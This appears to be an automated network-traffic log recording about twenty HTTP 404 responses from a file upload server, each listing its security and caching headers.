Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7YozNdtm2TxxxjhCUta-A2c0NZk4a7sxivDbuOPoCJepMhHcl4t_E_tgimPmxfwi9aContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:10:58 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-w57nt1F1mMbnglm1B-5cxA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5s1_6_ri9clXa4PzdLGIH74vBZQxQNnvqSfNWVUpHeuyNg7P9YVlsuaA11ScFzL_owContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:10:58 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-bVVgEGJMgwccIWdmdmtlGQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7Obvu_KMDnw-AaPrmt4A8mEj0RmB6jLG41E9fZIwbT5trswEKAVs_3Q0TP_Q5Hiz65Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:10:59 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-Pqa0Vcyxns30qAEbE0_jBA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4_uxLnAZiYm1qhyjNTGPIKBksuar1MY9GUdykR0a0iWo7j7fYFldGBKl0cDCiAOwW6Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:01 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-OEgEZr1YhjgLkBHP3js4MQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC57gZz38aT9d4BxIWsdn3mU0MS-KagsdMjDg6_xYWbYKKT9nmIKyjqmGcnC4SG7NHO8WDmNJGcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:01 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-BYtQkSWUgAbO52CZor7ZPw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7BG7ZGW7UNFpmOkPWgGfoh26LVFGp48tAkQD8Xmgg3zmIFrjRa9sVcmpKCZSXSscTRContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:02 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-6r9c3taVYDU1LXJvJ8kaLQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7UgG5b17_1HziCIJqpw6CBcZJ1veIxfgDiPy587vaH5fm0YGVshthfxBh2FguCETuLUyw_7TYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:02 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-Wkt8lf31PK6_InTvgs2JFw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC44sByXry6BdpiSOhxyrJo6rrrb8Y66Vp2xH5sTTC4O6rAc0rY5xILBSQrw-JsHLhSdContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:03 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-eQ8t1hxCH5PPjI1luzZFVg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6aLGlFwnbU8CzMzBcZOdtfGPW-ctbXMOTRreiBQgPVMv0-wwUewPWL7hcIkKZlUo66Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:05 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-02j95lyZrbpsbgKzl3Tm0Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC59NMmnqJ4Njn4s9odEsZy6RUBwIk9KBTeNyWKnMcOIXMXF0R16KkT2A56Hreo2xKuya6naDTAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:05 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-qR-VxN_JTLfRe4h_q6ie1g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6faMFzcJhwBdeMuZ30l3Tp3QdUAExT_pJFvGm13DbllEOO7D9m2lVqYLDAerO0Hk6nLMkUx2YContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:06 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-yyLZQzSRaDZpLCXnbzb6mw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC604BPnlbHf8jKGlZKVfICGRIz61CBH_BqO47pFgl_40hxNI8-Oj2mXi4Xb6zt3F_NfContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:07 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-Mu0vGiSSzzynKJS3eCQ5aw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4LA2HVD-5cQ1rAlKc9p4Hfg993XD8wIcT1_lx3-kw7IxkoHaRNIZ3QnIeVgBuKbVKgContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:09 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-u7NKBOAg4lNcKyco-WQy7Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7Wv5jgM8iR9RNzlq_1XxpjE4RafpumXXrrY72iVhngtM4aCc5F3s9HeS0si5jhPE-QMi9rD-0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:09 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-3GCpReAebrgwKdZYDNBs_w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5-hhTCwPKptxz170lqyn_QaLTnCIS5XfK3f04NQILC4b7OZqY5z6dUVdQq4mcoDIrKtQ60c7QContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:10 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-FYYNbu7pU_elyZtSEqR1Og' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7-xFyZsdaCTuvxncDRUqEfd5_uysak7sH_7G-aWx1ak9xGQ-6SuxcfLSB6ciMIv6R4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:10 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-q9SQGV1ZXTtZdfPZ2NePmw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4OOp94Zp2gs7wwNEfniRYBTtjKEvHyXmq8o6ugla0WcAr8J_u1c2njv-DLTDgeL1ytContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:13 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-Ah76w4KpLs4a_TTrotYR6A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5ETMPwkI5d8lJXDWobN0lOsveLIVEcngcob-306QRVP5D54HyU1oXG0BtlPxqhQa6oContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:13 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-YBRnbFZ1pr3Dzmvwwei_Sg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC47yH0BnLedBhQQ8KM5OsieVW4RPW5PfYPhTz2HB1GVCgOlMcWcEgX9a_TXFdpKteaPContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:14 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-rIsi4rveamBW0Y8P7N-_bQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6nEVo8N2UuhTdXKN0k6pwfhHOPe58maKo3XeHMlacirHm3FywN8SNxLquj_8fYoLiKContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:14 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-M_U0v8aUcGJxFU_OxPwb3g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
